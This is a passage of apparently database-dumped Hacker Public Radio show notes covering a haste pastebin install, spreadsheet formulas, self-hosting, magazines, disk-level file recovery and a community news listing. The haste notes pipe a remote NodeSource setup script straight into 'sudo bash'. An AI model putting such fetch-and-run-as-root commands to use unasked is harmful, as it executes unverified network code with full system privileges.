(2067,'2016-07-05','Haste - the pastebin alternative',556,'How to install your own haste server','<h1 id=\"haste\">Haste</h1>\r\n<p>A walk through of installing haste as an open source federated pastebin.com alternative.</p>\r\n<p>See the project at <a href=\"https://hastebin.com/\">hastebin.com</a></p>\r\n<p>I ran into project this while following John Kulp’s notes on his <a href=\"https://www.youtube.com/watch?v=gr1FZ2F7KYA\">blather intro</a>.</p>\r\n<h2 id=\"installing-node.js\">Installing node.js</h2>\r\n<p>Installing via a package manager. See <a href=\"https://nodejs.org/en/download/package-manager/\">nodejs website</a> for most up-to-date information. Commands given below are just for reference.</p>\r\n<p>RedHat based systems</p>\r\n<pre><code>curl --silent --location https://rpm.nodesource.com/setup | sudo bash -\r\nsudo yum install -y nodejs</code></pre>\r\n<p>Debian based systems</p>\r\n<pre><code>curl --silent --location https://deb.nodesource.com/setup | sudo bash -\r\nsudo apt-get install -y nodejs</code></pre>\r\n<h3 id=\"upgrade-npm\">Upgrade npm</h3>\r\n<pre><code>npm install npm -g</code></pre>\r\n<h2 id=\"haste-server\">haste-server</h2>\r\n<p>Take a look at the haste-server project on <a href=\"https://github.com/seejohnrun/haste-server\">github</a></p>\r\n<h3 id=\"clone-haste-server-git-repository\">Clone haste-server git repository</h3>\r\n<pre><code>git clone https://github.com/seejohnrun/haste-server.git\r\ncd haste-server</code></pre>\r\n<h3 id=\"choose-storage-method\">Choose storage method</h3>\r\n<p>Choices</p>\r\n<ul>\r\n<li>file system</li>\r\n<li>redis</li>\r\n<li>memcached</li>\r\n</ul>\r\n<p>If you will be using the file system storage method, delete storage section in config.js using your favorite text editor.</p>\r\n<h3 id=\"install\">Install</h3>\r\n<pre><code>npm install\r\nnpm start &amp;</code></pre>\r\n<h3 id=\"use-server\">Use server</h3>\r\n<p>You can now browse to your new haste-server at the server name or ip at port <code>7777</code>. Follow the icon links on the page for usage.</p>\r\n<pre><code>https://&lt;servername&gt;:7777</code></pre>\r\n<h2 id=\"using-shell-to-add-content\">Using shell to add content</h2>\r\n<p>Create a bash alias to pipe files to the haste file server.</p>\r\n<p>Add the following to your <code>.bashrc</code> file:</p>\r\n<pre><code>HASTE_SERVER=&#39;https://myserver:7777&#39;\r\nhaste() { a=$(cat); curl -X POST -s -d &quot;$a&quot; $HASTE_SERVER/documents | awk -v server=&quot;$HASTE_SERVER&quot; -F &#39;&quot;&#39; &#39;{print server&quot;/&quot;$4}&#39;; }</code></pre>\r\n<h2 id=\"references\">References</h2>\r\n<ul>\r\n<li><a href=\"https://hastebin.com/\">hastebin.com</a></li>\r\n<li><a href=\"https://nodejs.org/\">nodejs</a></li>\r\n<li><a href=\"https://github.com/seejohnrun/haste-server\">haste-server</a></li>\r\n<li><a href=\"https://github.com/seejohnrun/haste-client\">haste-client</a></li>\r\n<li><a href=\"https://github.com/seejohnrun/haste-client#lightweight-alternative\">haste-client-bash</a></li>\r\n</ul>\r\n',277,0,1,'CC-BY-SA','haste,haste-server,haste-client,javascript,nodejs,npm',0,0,1),
(2069,'2016-07-07','Counting Stuff in LibreOffice Calc',1195,'I try to explain how to use the COUNTIF function in LibreOffice to generate reports','<p>When I took over as Director of the School of Music in January, one of the first things I did was to try to get a better handle on the number of faculty I had at various ranks, how many had terminal degrees, how many already had tenure, how many were on tenure track, how many held endowed professorships, and so forth. Somewhere in the process, I discovered a handy trick for generating reports for this kind of thing. It\'s the <code>COUNTIF</code> function of LibreOffice calc. In this episode I will go through some examples of ways that I\'ve used <code>COUNTIF</code> to generate reports.</p>\r\n\r\n<h2>Examples</h2>\r\n\r\n<p>Count occurrences of the string from A6 of current sheet on other sheet Personnel in column K</p>\r\n\r\n<pre>=COUNTIF($Personnel.$K$1:$K$135,Reports.A6)<br/></pre>\r\n\r\n<p>Count occurrences of explicit string on other sheet \"Personnel\" in column K</p>\r\n<pre>=COUNTIF($Personnel.$K$1:$K$135,&quot;=Instructor&quot;)<br/></pre>\r\n\r\n\r\n<p>Count greater than or equal to 50</p>\r\n<pre>=COUNTIF($I$2:$I$105,&quot;&gt;=50&quot;)<br/></pre>\r\n\r\n<p>Using <code>SUMPRODUCT</code>, count between range greater than or equal to 40 but less than 50</p>\r\n<pre>=SUMPRODUCT($I$2:$I$105&gt;=40,$I$2:$I$105&lt;50)<br/></pre>\r\n\r\n<p>Look for the string from sheet \"Reports,\" cell A21, in the sheet \"Personnel\" column U, excluding any rows that have the value \"Adjunct\" in column K.</p>\r\n\r\n<pre>=COUNTIFS($Personnel.$U$1:$U$135,Reports.A21,$Personnel.$K$1:$K$135,&quot;&lt;&gt;Adjunct&quot;)<br/></pre>\r\n',238,70,0,'CC-BY-SA','LibreOffice, formulas, tips and tricks',0,0,1),
(2077,'2016-07-19','libernil.net and self hosting for friends and family',1098,'I talk a little about my network and how you can host services for your friends and family.','<h2 id=\"what-is-libernil.net\">What is libernil.net?</h2>\r\n<p>libernil.net is an island of pseudo-freedom. This project was established in order to pursue ideals of Free Software, Free Culture, ethically sourced hardware, self hosting, and sharing with others. Generally it consists of personal content, though some community resources reside here as well.</p>\r\n<p>The name came from an old programming group and was repurposed. I would really like to find a new name!</p>\r\n<h2 id=\"similar-networks\">Similar networks</h2>\r\n<ul>\r\n<li>tilde.club</li>\r\n<li>sdf.org</li>\r\n</ul>\r\n<h2 id=\"the-network\">The network</h2>\r\n<p>Set in three physical locations: two in Northwest Arkansas, one (a VPS) in Sweden.</p>\r\n<p>One recycled shuttle rig called “summernight”, one ThinkPenguin nano called “aprilshowers”, and a VPS known as “eremit”. Two or three inaccessible machines for backups and other automation.</p>\r\n<p>Wireless access provided in the openwireless.org model at both US physical locations.</p>\r\n<h3 id=\"services\">Services</h3>\r\n<ul>\r\n<li>Websites</li>\r\n<li>Shell accounts</li>\r\n<li>DNS</li>\r\n<li>wireless access</li>\r\n<li>XMPP</li>\r\n<li>IRC Bots</li>\r\n<li>Git</li>\r\n<li>MediaGoblin</li>\r\n</ul>\r\n<h3 id=\"future-services\">Future services</h3>\r\n<ul>\r\n<li>Game servers</li>\r\n<li>pump.io and GNU Social instances</li>\r\n<li>mail server</li>\r\n<li>PBX with DID lines</li>\r\n<li>data service</li>\r\n</ul>\r\n<h2 id=\"events-and-community\">Events and community</h2>\r\n<p>The community is very loosely organized and rarely operates under the name of the network, though we sometimes gather for events in the same location as the machines. In the past we’ve had a cryptoparty and I am trying to organize a FreeDOOM LAN party.</p>\r\n<h2 id=\"how-to-host-your-own-services\">How to host your own services</h2>\r\n<ol type=\"1\">\r\n<li>Acquire a machine, any machine! Could be a junk rig, an old laptop, or a fancy single board computer.</li>\r\n<li>Install your favorite distro or try freedombone/freedom box.</li>\r\n<li>Get a domain name with your favorite registrar.</li>\r\n<li>Get a static IP from your ISP if possible or go with Dynamic DNS</li>\r\n<li>Install Bind or set up your router to manage DNS.</li>\r\n<li>Invite some friends to play on your new server! Maybe have a party!</li>\r\n<li>Set up backup scripts.</li>\r\n</ol>\r\n',241,0,0,'CC-BY-SA','gnu, linux, networking, community, servers, services, commons',0,0,1),
(2087,'2016-08-02','Magazines I read Part 2',220,'More of the magazines I read','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Hi Hacker Public Radio this is Tony Hughes again with the second episode about the magazines I like to read. All of the magazines I’ll be talking of today I read on my Magzter (<a href=\"https://www.magzter.com\">www.magzter.com</a>) Application on my tablet. I have a Magzter Gold subscription which gives me access to literally 100’s of magazines.</p>\r\n<ul>\r\n<li><p>Vegetarian Times (<a href=\"https://www.vegetariantimes.com\">www.vegetariantimes.com</a>)<br />\r\nI’m a bit of a foodie and have been a vegetarian for many years, so access to good food magazines is important to me. This is a US publication so not all the advertised products are available in the UK but the articles and recipes are excellent.</p></li>\r\n<li><p>Feel Good Food (<a href=\"https://www.womanandhome.com/recipes/534618/feel-good-food-mag\">www.womanandhome.com/recipes/534618/feel-good-food-mag</a>)<br />\r\nA British magazine aimed at Women but non the less still a source of some brilliant recipes for delicious food for food lovers everywhere. Not a veggie magazine but there is usually something of interest. Like most of the food magazines I read I dip into them find recipes I like save them and move on.</p></li>\r\n</ul>\r\n<p>Moving on from food to Sci Fi and cult fiction.</p>\r\n<ul>\r\n<li>Starburst Magazine (<a href=\"https://www.starburstmagazine.com\">www.starburstmagazine.com</a>)<br />\r\n&amp; SFX Magazine (<a href=\"https://www.gamesradar.com/sfx\">www.gamesradar.com/sfx</a>)</li>\r\n</ul>\r\n<p>I’ve grouped these together as they both deal with this subject. They review the latest books, films, TV, comics and audio recordings for this genre . They also cover classic examples, often examining work from the so called golden age of a particular subject. Along with Total Film magazine (<a href=\"https://www.gamesradar.com/totalfilm\">www.gamesradar.com/totalfilm</a>) you will always have access to reviews of the latest films &amp; TV and if they are worth the price of a cinema ticket or space as a series record on your PVR.</p>\r\n<p>Another armchair hobby of mine is archaeology I’ve loved Time Team from the beginning. So my next magazine on Magzter is Archaeology (<a href=\"https://archaeology.org\">archaeology.org</a>) this is a bi monthly magazine published in the US, but covering the latest archaeological news from around the world. For someone into my modern technology its interesting to read about what the latest technology was hundreds or even thousands of years ago.</p>\r\n<p>Moving on, one of my other interests over the last 20 years has been motorcycles although I no longer ride I still retain an keen interest so a Bike magazine has to be something I dip into to drool over shiny metal every so often. So I currently have Back Street Heroes (<a href=\"https://www.backstreetheroes.com\">www.backstreetheroes.com</a>) as a favourite in Magzter and dip into it when I need a shiny metal fix.</p>\r\n<p>Finally a more active hobby of mine is photography so there has to be a photography magazine in this list. Amateur Photographer (<a href=\"https://photographer.magazinesdirect.com\">photographer.magazinesdirect.com</a>) claims to be the worlds oldest weekly photography magazine. It covers all aspect of photography and the equipment you need. From high end Professional stuff to point and shoot cameras, and all the other stuff from bags to flash lights.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.magzter.com\" class=\"uri\">https://www.magzter.com</a></li>\r\n<li><a href=\"https://www.vegetariantimes.com\" class=\"uri\">https://www.vegetariantimes.com</a></li>\r\n<li><a href=\"https://www.womanandhome.com/recipes/534618/feel-good-food-mag\" class=\"uri\">https://www.womanandhome.com/recipes/534618/feel-good-food-mag</a></li>\r\n<li><a href=\"https://www.starburstmagazine.com\" class=\"uri\">https://www.starburstmagazine.com</a></li>\r\n<li><a href=\"https://www.gamesradar.com/sfx\" class=\"uri\">https://www.gamesradar.com/sfx</a></li>\r\n<li><a href=\"https://www.gamesradar.com/totalfilm\" class=\"uri\">https://www.gamesradar.com/totalfilm</a></li>\r\n<li><a href=\"https://archaeology.org\" class=\"uri\">https://archaeology.org</a></li>\r\n<li><a href=\"https://www.backstreetheroes.com\" class=\"uri\">https://www.backstreetheroes.com</a></li>\r\n<li><a href=\"https://photographer.magazinesdirect.com\" class=\"uri\">https://photographer.magazinesdirect.com</a></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Magazine,food,recipe,sci fi,archaeology,motorcycles,photography',0,0,1),
(2074,'2016-07-14','Experience With A Neighborhood Cat',915,'A show about a cat.  Warning.  Repeat.  Warning.  Contains content that will be disturbing to some.','<p>\r\nAn old friend comes home...\r\n</p>',329,0,1,'CC-BY-SA','cat, compassion, death, medical, hospice, friend, pet, life',0,0,1),
(2071,'2016-07-11','Undocumented features of Baofeng UV-5R Radio',531,'Follow on show about undocumented features I found on my Baofeng UV-5R radio','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>This is a short follow on show listing undocumented features I came across while playing with my new Baofeng UV-5R radio</p>\r\n<h3 id=\"baofeng-uv-5r-links\">Baofeng UV-5R links</h3>\r\n<ul>\r\n<li><p>My new handset available from many places this link from Amazon<br />\r\n<a href=\"https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007HH6RR4\" class=\"uri\">https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007HH6RR4</a></p></li>\r\n<li><p>Offical Baofeng website<br />\r\n<a href=\"https://www.baofengradio.com/en/ProShowcn.asp?ID=141\" class=\"uri\">https://www.baofengradio.com/en/ProShowcn.asp?ID=141</a></p></li>\r\n<li><p>Top Level UV-5R User manual link<br />\r\n<a href=\"https://www.miklor.com/uv5r/UV5R-Manuals.html\" class=\"uri\">https://www.miklor.com/uv5r/UV5R-Manuals.html</a></p></li>\r\n<li><p>Manufacturers Baofeng UV-5R user manual<br />\r\n<a href=\"https://www.uv3r.com/images/UV-5R%20user%20manual.pdf\">https://www.uv3r.com/images/UV-5R%20user%20manual.pdf</a></p></li>\r\n<li><p>The (Chinese) Radio Documentation Project manual Written by Lennart Lidberg<br />\r\n<a href=\"https://www.miklor.com/uv5r/pdf/uv-5r_v1.0.pdf\" class=\"uri\">https://www.miklor.com/uv5r/pdf/uv-5r_v1.0.pdf</a></p></li>\r\n</ul>\r\n',201,43,1,'CC-BY-SA','Electronics, Amateur Radio, Open Source',0,0,1),
(2072,'2016-07-12','That Awesome Time I Deleted My Home Directory',505,'sigflup deletes her home directory only to recover one important file','<p>Omg, Sigflup deletes her home directory! Commands in this episode include:</p>\r\n<pre>\r\n<code>\r\n\r\ngrep -b -a \"what you remember\" /dev/sd0a > /tmp/log\r\ndd if=/dev/sd0a bs=1 skip=12345 of=/tmp/out count=123456\r\n\r\n</code>\r\n</pre>\r\n<p>\r\nThis is a capture of the program that sigflup recovered. It\'s a mouth tracker. <a href=\"https://www.youtube.com/watch?v=gf2NJrXGT4U\">https://www.youtube.com/watch?v=gf2NJrXGT4U</a>\r\n</p>',115,0,0,'CC-BY-SA','filesystem, grep, dd',0,0,1),
(2351,'2017-08-07','HPR Community News for July 2017',2315,'Murphy is strong but Ken struggles on talking about shows released and comments posted in July 2017','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=358\" target=\"_blank\">Ironic Sodium</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2326\" target=\"_blank\">2326</a></strong></td>\n    <td>Mon</td>\n    <td>2017-07-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2326\" target=\"_blank\">HPR Community News for June 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2327\" target=\"_blank\">2327</a></strong></td>\n    <td>Tue</td>\n    <td>2017-07-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2327\" target=\"_blank\">A Texan\'s view on Why only a Native Born person can be President</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2328\" target=\"_blank\">2328</a></strong></td>\n    <td>Wed</td>\n    <td>2017-07-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2328\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 8</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2329\" target=\"_blank\">2329</a></strong></td>\n    <td>Thu</td>\n    <td>2017-07-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2329\" target=\"_blank\">Building a Digital Clock Kit</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2330\" target=\"_blank\">2330</a></strong></td>\n    <td>Fri</td>\n    <td>2017-07-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2330\" target=\"_blank\">Awk Part 7</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2331\" target=\"_blank\">2331</a></strong></td>\n    <td>Mon</td>\n    <td>2017-07-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2331\" target=\"_blank\">Liverpool Makefest 2017 Show 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2332\" target=\"_blank\">2332</a></strong></td>\n    <td>Tue</td>\n    <td>2017-07-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2332\" target=\"_blank\">Installing DD-WRT on ASUS RT-N66U</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=358\" target=\"_blank\">Ironic Sodium</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2333\" target=\"_blank\">2333</a></strong></td>\n    <td>Wed</td>\n    <td>2017-07-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2333\" target=\"_blank\">VirtualenvWrapper for Fish Shell</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2334\" target=\"_blank\">2334</a></strong></td>\n    <td>Thu</td>\n    <td>2017-07-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2334\" target=\"_blank\">Our Adventure Begins!</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2335\" target=\"_blank\">2335</a></strong></td>\n    <td>Fri</td>\n    <td>2017-07-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2335\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 9</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2336\" target=\"_blank\">2336</a></strong></td>\n    <td>Mon</td>\n    <td>2017-07-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2336\" target=\"_blank\">Liverpool Makefest 2017 Show 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2337\" target=\"_blank\">2337</a></strong></td>\n    <td>Tue</td>\n    <td>2017-07-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2337\" target=\"_blank\">The Kobo Aura eReader</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2338\" target=\"_blank\">2338</a></strong></td>\n    <td>Wed</td>\n    <td>2017-07-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2338\" target=\"_blank\">Binaural recording 2 off to work</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2339\" target=\"_blank\">2339</a></strong></td>\n    <td>Thu</td>\n    <td>2017-07-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2339\" target=\"_blank\">Podcast list additions</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2340\" target=\"_blank\">2340</a></strong></td>\n    <td>Fri</td>\n    <td>2017-07-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2340\" target=\"_blank\">Tracking the HPR queue in Python</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2341\" target=\"_blank\">2341</a></strong></td>\n    <td>Mon</td>\n    <td>2017-07-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2341\" target=\"_blank\">Liverpool Makefest 2017 Show 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2342\" target=\"_blank\">2342</a></strong></td>\n    <td>Tue</td>\n    <td>2017-07-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2342\" target=\"_blank\">Wherein our hero fails to repair a garage door.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2343\" target=\"_blank\">2343</a></strong></td>\n    <td>Wed</td>\n    <td>2017-07-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2343\" target=\"_blank\">Healthcare in the Netherlands</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2344\" target=\"_blank\">2344</a></strong></td>\n    <td>Thu</td>\n    <td>2017-07-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2344\" target=\"_blank\">Follow on to HPR2340 (Tracking the HPR queue in Python)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2345\" target=\"_blank\">2345</a></strong></td>\n    <td>Fri</td>\n    <td>2017-07-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2345\" target=\"_blank\">Fixing a toilet roll holder</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2346\" target=\"_blank\">2346</a></strong></td>\n    <td>Mon</td>\n    <td>2017-07-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2346\" target=\"_blank\">Liverpool Makefest 2017 Show 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-July/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 23 comments in total.</p>\n<p>There are 3 comments on\n3 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2253#comments\" target=\"_blank\">hpr2253</a></strong>\n(2017-03-22) \"<em>How to make and use a stencil</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=351\" target=\"_blank\">@einebiene</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2253#12\" target=\"_blank\">Comment 12</a>:\nadmin on 2017-07-11:\n\"congrates\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2271#comments\" target=\"_blank\">hpr2271</a></strong>\n(2017-04-17) \"<em>Raspberry Pi Zero W</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hobbypublicradio.com/eps.php?id=2271#3\" target=\"_blank\">Comment 3</a>:\nadmin on 2017-07-11:\n\"thanks for info\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2322#comments\" target=\"_blank\">hpr2322</a></strong>\n(2017-06-27) \"<em>A bit of background on virtualenvwrapper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2322#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2017-07-29:\n\"Great first show\"</li></ul><br/>\n</li></ul>\n<p>There are 20 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2327#comments\" target=\"_blank\">hpr2327</a></strong>\n(2017-07-04) \"<em>A Texan\'s view on Why only a Native Born person can be President</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2327#1\" target=\"_blank\">Comment 1</a>:\njezra on 2017-07-05:\n\"Not native born: natural born\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2327#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2017-07-05:\n\"Jezra is correct\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2327#3\" target=\"_blank\">Comment 3</a>:\nCanadianbob on 2017-07-08:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2329#comments\" target=\"_blank\">hpr2329</a></strong>\n(2017-07-06) \"<em>Building a Digital Clock Kit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2329#1\" target=\"_blank\">Comment 1</a>:\nDave Lee on 2017-07-06:\n\"Just bought one\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2329#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-07-06:\n\"Hmm, Glasgow Podsoldering anyone?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2333#comments\" target=\"_blank\">hpr2333</a></strong>\n(2017-07-12) \"<em>VirtualenvWrapper for Fish Shell</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2333#1\" target=\"_blank\">Comment 1</a>:\nklaatu on 2017-07-17:\n\"homebrew virtual envs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2334#comments\" target=\"_blank\">hpr2334</a></strong>\n(2017-07-13) \"<em>Our Adventure Begins!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2334#1\" target=\"_blank\">Comment 1</a>:\nKevin on 2017-07-13:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2334#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2017-07-14:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2334#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2017-07-16:\n\"Nostalgia\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2334#4\" target=\"_blank\">Comment 4</a>:\nClaudioM on 2017-07-18:\n\"Re: Nostalgia\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2337#comments\" target=\"_blank\">hpr2337</a></strong>\n(2017-07-18) \"<em>The Kobo Aura eReader</em>\"\nby <a 